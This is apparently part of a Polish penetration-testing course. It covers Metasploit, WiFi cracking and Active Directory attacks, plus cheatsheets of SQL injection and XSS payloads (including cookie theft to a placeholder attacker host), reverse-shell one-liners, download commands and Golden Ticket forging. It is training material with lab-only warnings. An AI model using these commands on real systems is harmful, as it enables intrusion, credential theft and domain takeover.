Reflected wymaga, by ofiara kliknęła spreparowany link. Stored jest zapisany na serwerze i wykonuje się u każdego odwiedzającego — bez żadnej akcji z ich strony. Większy zasięg, brak inżynierii społecznej.

2.Dostajesz JWT z alg: HS256 i słabym sekretem. Wektor?[+]

Bruteforce sekretu HMAC (hashcat -m 16500) słownikiem. Po złamaniu podpisujesz własny token z role: admin. Osobny wektor: serwer akceptujący alg: none.

3.Aplikacja pobiera URL podany przez usera i wyświetla treść. Jaka podatność i najgroźniejszy cel?[+]

SSRF. Najgroźniejszy cel to zasoby wewnętrzne niedostępne z zewnątrz — endpointy metadata chmury (169.254.169.254), panele admina na localhost, usługi w sieci wewnętrznej.

root@pentest:~/module-10# msfconsole -q
Moduł 10 · Ofensywa II

Metasploit i bezpieczeństwo WiFi

Framework automatyzujący pełen cykl ataku plus atak na sieci bezprzewodowe. Metasploit to nie „magiczny przycisk" — to uporządkowany warsztat, który musisz rozumieć.

Architektura Metasploit

Typy modułów
  • exploit — kod wykorzystujący konkretną podatność.
  • payload — co uruchamiasz po wejściu (meterpreter, reverse shell).
  • auxiliary — skanery, fuzzery, recon (bez exploitacji).
  • post — działania po włamaniu (hashdump, enum).
  • encoder — obfuskacja payloadu (omijanie AV).

Pełen workflow — od recon do meterpreter

msf-full.sh
# recon przez moduł auxiliary
msf> use auxiliary/scanner/smb/smb_version
msf> set RHOSTS 10.10.10.0/24 ; run
# znajdź i użyj exploita
msf> search type:exploit vsftpd
msf> use exploit/unix/ftp/vsftpd_234_backdoor
msf> show options
msf> set RHOSTS 10.10.10.5
msf> set LHOST 10.10.14.2
msf> set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf> run
# po wejściu — post-exploitation
meterpreter> getuid ; sysinfo
meterpreter> hashdump
meterpreter> migrate -N explorer.exe
meterpreter> run post/multi/recon/local_exploit_suggester
✓ Reverse vs bind, staged vs stageless

Reverse shell — cel łączy się do Ciebie (omija firewall wejściowy). Bind — cel nasłuchuje, Ty się łączysz. Staged (/ w nazwie payloadu) — mały stager pobiera resztę; stageless (_) — całość od razu, stabilniejszy przy słabym łączu.

msfvenom — payloady poza frameworkiem

msfvenom.sh
# Windows exe
$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f exe -o s.exe
# Linux elf
$ msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.2 LPORT=4444 -f elf -o s.elf
# web — PHP
$ msfvenom -p php/reverse_php LHOST=10.10.14.2 LPORT=4444 -f raw -o s.php
# nasłuch w msfconsole
msf> use multi/handler ; set PAYLOAD windows/meterpreter/reverse_tcp ; run

Bezpieczeństwo WiFi

Atak na WPA2 sprowadza się do przechwycenia 4-way handshake i złamania go offline słownikiem. Potrzebna karta z trybem monitor i injection.

wifi.sh
$ airmon-ng start wlan0            # tryb monitor → wlan0mon
$ airodump-ng wlan0mon             # znajdź BSSID/kanał
$ airodump-ng -c 6 --bssid AA:BB:.. -w cap wlan0mon
$ aireplay-ng --deauth 5 -a AA:BB:.. wlan0mon  # wymuś handshake
$ aircrack-ng -w rockyou.txt cap*.cap    # łamanie offline
# nowocześniej: PMKID bez klienta + hashcat -m 22000
$ hcxdumptool -i wlan0mon -o pmkid.pcapng
⚠ Tylko własna sieć

Deauth i przechwytywanie handshake wykonujesz wyłącznie na własnym AP postawionym do nauki. Atak na cudzą sieć = przestępstwo.

›_
Cel modułu 10
Zexploitować maszynę end-to-end przez msfconsole (od auxiliary po meterpreter) oraz przechwycić i złamać handshake WPA2 na własnym AP.

Źródła

🟢 free
Kompletny darmowy kurs Metasploit.
🟢 free
Cały suite do WiFi + tutoriale.
🟡 freemium
Introduction / Exploitation (część free).
? sprawdź się
1.Cel za firewallem blokującym połączenia przychodzące. Reverse czy bind?[+]

Reverse — cel inicjuje połączenie do Ciebie (wychodzące, zwykle dozwolone). Bind wymaga, żebyś to Ty połączył się do nasłuchującego portu na celu, co firewall wejściowy zablokuje.

2.Po co deauth przy ataku na WPA2?[+]

Rozłącza klienta od AP, więc przy ponownym łączeniu następuje 4-way handshake, który przechwytujesz. Handshake łamiesz offline słownikiem — hasło nie leci „w powietrzu".

root@pentest:~/module-11# ./report.sh --generate
Moduł 11 · Ofensywa II

Testy Black Box II

Domknięcie: pełny pentest webowy jako black-box, łączenie podatności w łańcuch o realnym impakcie i — najważniejsze zawodowo — raport. To odróżnia hobbystę od pentestera.

Chaining — suma większa niż części

Pojedyncza podatność bywa niska. Połączona — krytyczna. Przykład łańcucha: information disclosure (wyciek e-maili) → brute-force słabego logowania → IDOR w panelu → RCE przez upload. Ucz się myśleć ścieżkami, nie pojedynczymi flagami.

Krypto w praktyce black-box

Wracają tematy z modułu 7 w kontekście aplikacji: encryption oracle (aplikacja szyfruje/deszyfruje Twoje dane i zdradza informacje), przewidywalne tokeny, słabe algorytmy, padding oracle. PortSwigger ma dedykowane laby.

Raport — produkt, za który płacą

Struktura raportu pentestowego
  • Executive summary — dla zarządu, bez żargonu, poziom ryzyka.
  • Zakres i metodyka — co, kiedy, jak testowano.
  • Findings — każdy z: opis, wpływ, CVSS, dowód (PoC + zrzuty), rekomendacja.
  • Priorytetyzacja (Critical/High/Medium/Low) i podsumowanie remediacji.
✓ Masz tu przewagę

Jeśli robiłeś już realny raport (np. z testu SQL Server), znasz format komercyjny. Dobra dokumentacja findingu to umiejętność rzadsza niż samo znajdowanie dziur.

›_
Cel modułu 11
Kompletny pentest webowy (recon → podatności → PoC → rekomendacje) na maszynie z komponentem web + pełny raport.

Źródła

🟢 free
Wszystkie ścieżki + tematy krypto (encryption oracle).
🟢 free
Maszyny z komponentem webowym, pełny black-box.
🟡 freemium
Część ćwiczeń darmowa; dobre pod raportowanie.
? sprawdź się
1.Dwa „Low": wyciek e-maili i brak rate-limitingu. Czemu razem to problem wyższy?[+]

Wyciek daje listę ważnych loginów, brak rate-limitingu pozwala je bruteforce'ować. Połączone tworzą ścieżkę do przejęcia kont — w raporcie opisujesz je jako łańcuch o podwyższonym ryzyku.

2.Co musi zawierać dobry finding poza opisem podatności?[+]

Wpływ biznesowy, ocenę (CVSS/severity), odtwarzalny PoC (kroki + zrzuty) oraz konkretną rekomendację naprawy. Bez rekomendacji raport jest połowiczny.

root@pentest:~/module-12# ./final_boss.sh
Moduł 12 · Ofensywa II

CTF II — finał i co dalej

Test końcowy: trudniejsze kategorie, udział w publicznym CTF-ie i samodzielna maszyna „na czas". Plus mapa dalszego rozwoju.

Poziom wyżej

  • Wejdź w Binary / Reverse / Forensics w picoGym — kategorie, które wcześniej omijałeś.
  • Weź udział w realnym CTF-ie weekendowym z CTFtime — presja czasu uczy najszybciej.
  • Kolejne wargame'y OverTheWire: Natas (web), Leviathan, Narnia.
›_
Cel modułu 12
Udział w jednym publicznym CTF-ie i solo zamknięcie maszyny średniej trudności bez write-upów.

Co dalej — mapa rozwoju

Ścieżka po podręczniku
  • Portfolio — publikuj write-upy (GitHub/blog). W offensive liczy się bardziej niż papier.
  • Certy praktyczne — TryHackMe PT1 → PNPT → OSCP.
  • Bug bounty — HackerOne / Bugcrowd. Realne cele w legalnym scope.
  • Specjalizacja — web, AD/Windows, cloud, mobile, OT/ICS.
✓ Ostatnia rada

Pentesting to nie zbiór komend do zapamiętania, tylko sposób myślenia: „jak to można nadużyć?". Komendy się zmienią, myślenie zostaje. Ćwicz regularnie, dokumentuj wszystko, testuj tylko legalnie.

Źródła

🟢 free
Binary, Reverse, Forensics.
🟢 free
Realny publiczny CTF weekendowy.
🟢 free
Kolejny wargame (web).
🟡 freemium
Programy bug bounty — realne, legalne cele.
// koniec podręcznika

Przeszedłeś od pwd do pełnego pentestu z raportem. Odhacz ostatni moduł, wróć do słabszych miejsc i zacznij budować portfolio. Access granted.

root@pentest:~/module-13# impacket-secretsdump domain/user@dc
Moduł 13 · Active Directory

Atak na Active Directory

W realnych sieciach korporacyjnych 95% dróg do celu prowadzi przez Active Directory. To osobny świat: nie „jedna maszyna", tylko domena z relacjami zaufania, gdzie jeden słaby użytkownik = ścieżka do Domain Admina. Ten moduł to most między pentestem maszyn a realnym enterprise.

Model AD w pigułce

Pojęcia, bez których ani rusz
  • Domain Controller (DC) — serce domeny; trzyma bazę AD (NTDS.dit) i Kerberos.
  • Kerberos — protokół uwierzytelniania (bilety TGT/TGS). Główny wektor ataków.
  • NTLM — starszy mechanizm; hash NTLM = „hasło" do pass-the-hash.
  • LDAP — katalog: użytkownicy, grupy, komputery, atrybuty.
  • SPN — Service Principal Name; usługi w kontekście konta (Kerberoasting).
  • GPO — Group Policy; błędna konfiguracja = privesc w całej domenie.

Enumeracja domeny

Pierwszy krok po zdobyciu jakichkolwiek poświadczeń (choćby zwykłego usera). Cel: zmapować użytkowników, grupy, komputery i — najważniejsze — ścieżki ataku.

ad-enum.sh
# z Linuksa (Kali) — mając creds usera
$ nxc smb 10.10.10.0/24 -u user -p Pass123 --shares   # netexec (d. crackmapexec)
$ nxc ldap DC.corp.local -u user -p Pass123 --users
$ ldapsearch -x -H ldap://DC -D user@corp.local -w Pass123 -b "dc=corp,dc=local"
# zbieranie danych pod BloodHound
$ bloodhound-python -u user -p Pass123 -d corp.local -ns 10.10.10.5 -c all
# z Windowsa
PS> Import-Module .\PowerView.ps1 ; Get-NetUser ; Get-NetGroup "Domain Admins"
✓ BloodHound = mapa skarbów

BloodHound zbiera relacje w AD i rysuje graf: „od tego usera, przez te 3 kroki, dojdziesz do Domain Admina". Zapytanie Shortest Path to Domain Admins potrafi rozłożyć całą domenę. To pierwsze narzędzie, które odpalasz w AD.

Zdobywanie poświadczeń

Kerberoasting

Konta usługowe z SPN można poprosić o bilet TGS, którego fragment jest zaszyfrowany hashem hasła konta — łamiesz go offline. Konta usługowe często mają słabe, wieczne hasła.

kerberoast.sh
$ impacket-GetUserSPNs corp.local/user:Pass123 -dc-ip 10.10.10.5 -request
$ hashcat -m 13100 tgs.txt rockyou.txt      # łamanie offline

AS-REP Roasting

Użytkownicy z wyłączonym pre-authentication Kerberos oddają szyfrowany blok bez znajomości hasła — też łamalny offline.

asrep.sh
$ impacket-GetNPUsers corp.local/ -usersfile users.txt -dc-ip 10.10.10.5
$ hashcat -m 18200 asrep.txt rockyou.txt

Ruch boczny (lateral movement)

Mając hash lub hasło jednego konta, przeskakujesz na kolejne maszyny — bez łamania hasła (pass-the-hash) albo z biletem Kerberos (pass-the-ticket).

lateral.sh
# pass-the-hash — logujesz się hashem NTLM zamiast hasłem
$ nxc smb 10.10.10.20 -u admin -H aad3b435...:31d6cfe0...
$ impacket-psexec corp.local/admin@10.10.10.20 -hashes :31d6cfe0...
# zdalny shell z creds
$ evil-winrm -i 10.10.10.20 -u admin -H 31d6cfe0...

Dominacja domeny

Cel końcowy: konto Domain Admin lub bezpośredni zrzut bazy haseł całej domeny.

domination.sh
# DCSync — udajesz DC i prosisz o hashe (wymaga uprawnień replikacji)
$ impacket-secretsdump corp.local/admin@10.10.10.5 -just-dc
# zrzut lokalnych sekretów / LSASS na przejętej maszynie
$ nxc smb 10.10.10.20 -u admin -H HASH --sam --lsa
# mimikatz (Windows) — wyciąg haseł/biletów z pamięci
mimikatz # sekurlsa::logonpasswords
mimikatz # lsadump::dcsync /user:corp\krbtgt   # klucz do Golden Ticket
⚠ Golden / Silver Ticket

Hash konta krbtgt pozwala wykuć Golden Ticket — dowolny bilet Kerberos, czyli praktycznie nieograniczoną, trwałą kontrolę nad domeną. To „koniec gry". W raporcie oznacza to krytyczny finding i konieczność dwukrotnej rotacji hasła krbtgt.

›_
Cel modułu 13
Przejść pełny łańcuch AD w labie: enum → BloodHound → Kerberoast → lateral (PtH) → DCSync do Domain Admina. Rozumieć każdy krok, nie tylko kopiować komendy.

Źródła

🟢 free
Część pokoi darmowa; najlepsze prowadzone wprowadzenie do AD.
🟢 free
AD Attack Mindmaps (Orange Cyberdefense)
Kompletne mapy ścieżek ataku na AD — legendarna ściąga.
🟢 free
Darmowa encyklopedia technik AD, komenda po komendzie.
🟢 free
Gotowy podatny lab AD do postawienia u siebie (idealne pod Twój homelab/Proxmox).
🟡 freemium
Pełne środowiska domenowe (część w darmowym tierze).
? sprawdź się
1.Masz creds zwykłego usera domenowego. Jaki jest pierwszy odruch i czemu?[+]

Zebranie danych do BloodHound (bloodhound-python -c all) i sprawdzenie „Shortest Path to Domain Admins". Zamiast zgadywać, dostajesz graf realnych ścieżek eskalacji z tego konkretnego konta.

2.Czym różni się Kerberoasting od AS-REP Roasting?[+]

Kerberoasting celuje w konta z SPN (usługowe) — prosisz o TGS i łamiesz hash hasła konta usługi. AS-REP Roasting działa na kontach z wyłączonym pre-auth Kerberos — dostajesz łamalny blok bez znajomości żadnego hasła. Oba to łamanie offline.

3.Czemu hash konta krbtgt to „koniec gry"?[+]

Pozwala wykuć Golden Ticket — samodzielnie podpisany bilet TGT na dowolnego użytkownika (np. Domain Admin), ważny latami. To pełna, trwała kontrola nad domeną, niezależna od zmiany haseł userów. Naprawa wymaga podwójnej rotacji hasła krbtgt.

root@pentest:~/cheatsheets# cat ports.md
# Cheatsheet

Porty i usługi

Najczęściej spotykane porty w pentestach — co usłyszysz, gdy nmap zwróci „open". Znajomość na pamięć oszczędza mnóstwo czasu przy enumeracji.

PortUsługaNa co zwrócić uwagę
21FTPanonymous login, wersja (vsftpd backdoor)
22SSHwersja, słabe hasła, klucze
23Telnetjawny — bannery, creds
25SMTPVRFY/EXPN, open relay, enum userów
53DNStransfer strefy (AXFR), subdomeny
80 / 443HTTP / HTTPScała powierzchnia web (moduły 8–9)
110 / 143POP3 / IMAPpoczta, creds, bannery
111RPCbindrpcinfo, NFS shares
135 / 139 / 445MSRPC / NetBIOS / SMBenum4linux, shares, EternalBlue, null session
161SNMP (UDP)community strings (public), snmpwalk
389 / 636LDAP / LDAPSenum AD, ldapsearch
1433MSSQLxp_cmdshell, słabe sa
2049NFSshowmount, montowanie shares
3306MySQLsłabe creds, wersja
3389RDPbrute-force, BlueKeep
5432PostgreSQLsłabe creds, RCE
5985 / 5986WinRMevil-winrm z creds
6379Redisbrak auth, zapis kluczy SSH
8080 / 8443HTTP-altpanele, Tomcat, proxy
27017MongoDBbrak auth, dump baz
root@pentest:~/cheatsheets# cat nmap.md
# Cheatsheet

Nmap

Flagi, typy skanów i przydatne skrypty NSE — wszystko, co realnie używasz w recon-ie.

Flagi

FlagaZnaczenie
-snping sweep (bez skanu portów)
-sSSYN scan (half-open, wymaga roota)
-sTTCP connect scan
-sUUDP scan
-sVwykrywanie wersji usług
-sCskrypty domyślne (= --script=default)
-Owykrywanie systemu operacyjnego
-Aagresywny: -sV -sC -O + traceroute
-p-wszystkie 65535 portów
-p 80,443konkretne porty
--top-ports 2020 najpopularniejszych
-T0..T5tempo (T4 rozsądny default)
-Pnpomiń ping (host „nie żyje" ale odpowiada)
-oN / -oX / -oGzapis: normal / XML / grepable
-oA nazwazapis we wszystkich formatach
--script=vulnskrypty wykrywające podatności

Gotowce

nmap-recipes.sh
# szybki pełny recon (2 fazy)
$ nmap -p- --min-rate 5000 -oN all.txt 10.10.10.5
$ nmap -sV -sC -p $(open porty) -oN deep.txt 10.10.10.5
# skan pod podatności / SMB
$ nmap --script smb-vuln* -p 445 10.10.10.5
$ nmap --script http-enum -p 80 10.10.10.5
root@pentest:~/cheatsheets# cat sqli.md
# Cheatsheet

SQL Injection

Payloady per etap i per baza. Używaj wyłącznie w scope (własne laby, PortSwigger, maszyny CTF).

Wykrywanie i auth bypass

detect.txt
# wykrywanie
'        "        `        \        # wywołaj błąd
' AND 1=1--       ' AND 1=2--        # boolean
' OR SLEEP(5)--   ' OR pg_sleep(5)-- # time-based
# obejście logowania (username field)
admin'--
admin' #
' OR 1=1--
' OR '1'='1

UNION i ekstrakcja

union.txt
' ORDER BY 3--                              # liczba kolumn
' UNION SELECT NULL,NULL,NULL--             # dopasuj kolumny
' UNION SELECT username,password,3 FROM users--
# blind boolean — znak po znaku
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='a'--

Składnia per baza

CelMySQLMSSQLPostgreSQL
Wersja@@version@@versionversion()
Komentarz-- / #----
OpóźnienieSLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)
KonkatenacjaCONCAT(a,b)a+ba||b
Lista tabelinformation_schema.tablesinformation_schema.tablesinformation_schema.tables

sqlmap

sqlmap.sh
$ sqlmap -u "http://cel/?id=1" --batch --dbs
$ sqlmap -r req.txt --dump -D app -T users
$ sqlmap -u URL --level 5 --risk 3 --batch   # głębiej
root@pentest:~/cheatsheets# cat xss.md
# Cheatsheet

XSS

Payloady od testu po impact i typowe obejścia filtrów. Kontekst decyduje o payloadzie.

Bazowe

basic.txt
<script>alert(1)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<iframe src="javascript:alert(1)">

Wyjście z kontekstu

context.txt
# w atrybucie
"><script>alert(1)</script>
' onmouseover='alert(1)
# w JS stringu
';alert(1)//
# w href
javascript:alert(1)

Obejścia filtrów

bypass.txt
# wielkość liter
<ScRiPt>alert(1)</sCrIpT>
# bez nawiasów / bez spacji
<svg/onload=alert`1`>
<img src=x onerror=alert`1`>
# kodowanie HTML/URL encji
<img src=x onerror=&#97;lert(1)>
# zagnieżdżony (gdy usuwa "script" raz)
<scr<script>ipt>alert(1)</script>

Impact — kradzież sesji

steal.txt
<script>fetch('https://ATAKUJACY/c='+document.cookie)</script>
<script>new Image().src='https://ATAKUJACY/?c='+btoa(document.cookie)</script>
✓ Do testów

Do wykrywania i eskalacji XSS świetnie działa własny listener (np. python3 -m http.server) albo publiczne narzędzia jak XSS Hunter. Zawsze tylko w scope.

root@pentest:~/cheatsheets# cat shells.md
# Cheatsheet

Reverse shells

Najpierw listener u siebie, potem payload na celu. ATAKUJACY = Twój IP, 4444 = port.

Listener (u atakującego)

listener.sh
$ nc -lvnp 4444              # prosty listener
$ rlwrap nc -lvnp 4444       # z historią/strzałkami

Payloady (na celu)

payloads.sh
# Bash
bash -i >& /dev/tcp/ATAKUJACY/4444 0>&1
# Netcat (z -e)
nc -e /bin/sh ATAKUJACY 4444
# Netcat bez -e (mkfifo)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATAKUJACY 4444 >/tmp/f
# Python3
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("ATAKUJACY",4444));[os.dup2(s.fileno(),f) for f in(0,1,2)];subprocess.call(["/bin/sh"])'
# PHP
php -r '$s=fsockopen("ATAKUJACY",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
# PowerShell (Windows)
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATAKUJACY',4444);..."

Stabilizacja shella (TTY upgrade)

stabilize.sh
# 1. na celu
python3 -c 'import pty;pty.spawn("/bin/bash")'
# 2. Ctrl+Z (zawieś), u siebie:
stty raw -echo; fg
# 3. z powrotem na celu:
export TERM=xterm ; stty rows 38 cols 116
✓ Gdy nie pamiętasz składni

revshells.com generuje payload w dowolnym języku po wpisaniu IP i portu. pwncat-cs to nowocześniejszy listener z auto-stabilizacją.

root@pentest:~/cheatsheets# cat privesc.md
# Cheatsheet

Privilege escalation

Szybkie zwycięstwa (quick wins) do sprawdzenia zaraz po zdobyciu shella — Linux i Windows.

Linux — ręczne quick wins

linux.sh
$ id ; sudo -l                     # co mogę jako root
$ find / -perm -4000 -type f 2>/dev/null   # SUID
$ getcap -r / 2>/dev/null           # capabilities
$ crontab -l ; cat /etc/crontab    # zadania
$ cat /etc/passwd                   # zapisywalny? writable?
$ uname -a                         # wersja jądra → exploit?
$ ls -la /home/*/.ssh/            # klucze
WektorSprawdzenieEskalacja
sudosudo -lGTFOBins dla dozwolonej binarki
SUIDfind / -perm -4000GTFOBins → SUID
capabilitiesgetcap -r /np. cap_setuid na python
cronzapisywalny skrypt w croniewstrzyknij reverse shell
PATHskrypt SUID woła binarkę względniehijack przez własny PATH
jądrouname -a + searchsploitkernel exploit (ostrożnie)

Windows — quick wins

windows.txt
whoami /priv                # SeImpersonate → Potato attacks
whoami /groups
systeminfo                  # wersja → brakujące patche
# unquoted service path, AlwaysInstallElevated,
# stored creds (cmdkey /list), scheduled tasks

Automaty

linpeas.shwinPEAS.exepspy (procesy) LinEnum.shPowerUp.ps1Seatbeltsearchsploit
root@pentest:~/cheatsheets# cat transfer.md
# Cheatsheet

Transfer plików

Jak wgrać linpeas/exploit na cel i ściągnąć łupy. Klasyka po zdobyciu shella.

Serwer u atakującego

server.sh
$ python3 -m http.server 80        # serwuj bieżący katalog
$ impacket-smbserver share . -smb2support   # SMB dla Windows

Pobieranie na cel — Linux

linux-get.sh
$ wget http://ATAKUJACY/linpeas.sh -O /tmp/l.sh
$ curl http://ATAKUJACY/l.sh -o /tmp/l.sh
$ scp plik user@cel:/tmp/

Pobieranie na cel — Windows

win-get.txt
certutil -urlcache -f http://ATAKUJACY/nc.exe nc.exe
powershell IWR -Uri http://ATAKUJACY/f.exe -OutFile f.exe
powershell (New-Object Net.WebClient).DownloadFile('http://ATAKUJACY/f.exe','f.exe')
✓ Gdy nic nie działa

Fallback: zakoduj plik base64 u siebie (base64 -w0 plik), wklej na cel do zmiennej i zdekoduj (echo BASE64 | base64 -d > plik). Działa nawet bez narzędzi sieciowych.

root@pentest:~/cheatsheets# cat hashcat.md
# Cheatsheet

Hashcat / John

Najczęstsze tryby -m hashcata i workflow łamania. Słownik domyślny: /usr/share/wordlists/rockyou.txt.

Tryby -m (hashcat)

-mTyp hasha
0MD5
100SHA1
1400SHA-256
1700SHA-512
500md5crypt ($1$)
1800sha512crypt ($6$) — /etc/shadow
3200bcrypt ($2*$)
1000NTLM
5600NetNTLMv2 (Responder)
13100Kerberoast (TGS-REP, RC4)
18200AS-REP Roasting
16500JWT (HS256)
22000WPA-PBKDF2 (nowy handshake)
16800WPA-PMKID

Workflow

crack.sh
# 1. rozpoznaj typ
$ hashid '$6$xyz...'   ;   nth --text 'HASH'
# 2. słownikowo
$ hashcat -m 1800 hash.txt rockyou.txt
# 3. słownik + reguły (mutacje)
$ hashcat -m 0 hash.txt rockyou.txt -r /usr/share/hashcat/rules/best64.rule
# 4. brute-force maską (8 znaków, małe litery+cyfry)
$ hashcat -m 0 hash.txt -a 3 '?l?l?l?l?l?l?l?d'
# pokaż złamane
$ hashcat -m 0 hash.txt --show
# John — alternatywa
$ john --wordlist=rockyou.txt --format=sha512crypt hash.txt
$ john --show hash.txt
✓ Przydatne konwertery

ssh2john, zip2john, rar2john, office2john — wyciągają hash z kluczy/archiwów/dokumentów do formatu Johna/hashcata.

root@pentest:~/cheatsheets# cat ad.md
# Cheatsheet

Active Directory

Komendy per faza ataku na domenę. Głównie z Kali (impacket + netexec) i z Windowsa (PowerView/mimikatz). Tylko w legalnym scope / własnym labie.

Enumeracja

enum.sh
# netexec (nxc) — szwajcarski scyzoryk AD
nxc smb 10.0.0.0/24 -u u -p p --shares --users --groups
nxc smb DC -u u -p p --pass-pol          # polityka haseł
nxc ldap DC -u u -p p --kerberoasting out.txt
# null session / anonymous
enum4linux-ng -A 10.0.0.5
rpcclient -U "" -N 10.0.0.5      # enumdomusers, querydominfo
# BloodHound collector
bloodhound-python -u u -p p -d corp.local -ns DC_IP -c all

Roasting (offline crack)

AtakKomendahashcat
Kerberoastimpacket-GetUserSPNs -request-m 13100
AS-REPimpacket-GetNPUsers-m 18200
NetNTLMv2responder -I eth0-m 5600

Ruch boczny / uwierzytelnianie hashem

lateral.sh
# pass-the-hash
nxc smb TARGET -u admin -H NTLM_HASH
impacket-psexec corp/admin@TARGET -hashes :NTLM_HASH
impacket-wmiexec corp/admin@TARGET -hashes :NTLM_HASH
evil-winrm -i TARGET -u admin -H NTLM_HASH
# spray hasła po całej domenie (uwaga na lockout!)
nxc smb 10.0.0.0/24 -u users.txt -p 'Winter2026!' --continue-on-success

Dominacja domeny

domain.sh
# DCSync — zrzut hashy z DC
impacket-secretsdump corp/admin@DC -just-dc
impacket-secretsdump corp/admin@DC -just-dc-user krbtgt
# mimikatz (Windows)
sekurlsa::logonpasswords
lsadump::dcsync /user:corp\Administrator
# Golden Ticket (mając hash krbtgt)
kerberos::golden /user:fake /domain:corp.local /sid:S-1-5-... /krbtgt:HASH /ptt
NarzędzieDo czego
netexec (nxc)enum, PtH, spray, dumping — podstawa
impacket-*psexec, wmiexec, secretsdump, GetUserSPNs
BloodHoundgraf ścieżek ataku
PowerViewenumeracja z Windowsa
mimikatz / Rubeushasła i bilety Kerberos z pamięci
responderzatruwanie LLMNR/NBT-NS → NetNTLM
Certipyataki na AD CS (ESC1-ESC8)
✓ Postaw sobie lab

GOAD (Game of Active Directory) stawia gotową podatną domenę na Twoim Proxmoxie — idealne do przećwiczenia całej tej ściągi end-to-end bez ryzyka i za darmo.

root@pentest:~/practice# ./checklist.sh
Praktyka · Tracker

Laby — checklista

Konkretne zadania do odhaczenia per moduł. To jest sedno nauki — teoria bez labów nie robi pentestera. Postęp zapisuje się lokalnie w przeglądarce (gdy zhostujesz plik).

Ukończone laby0 / 0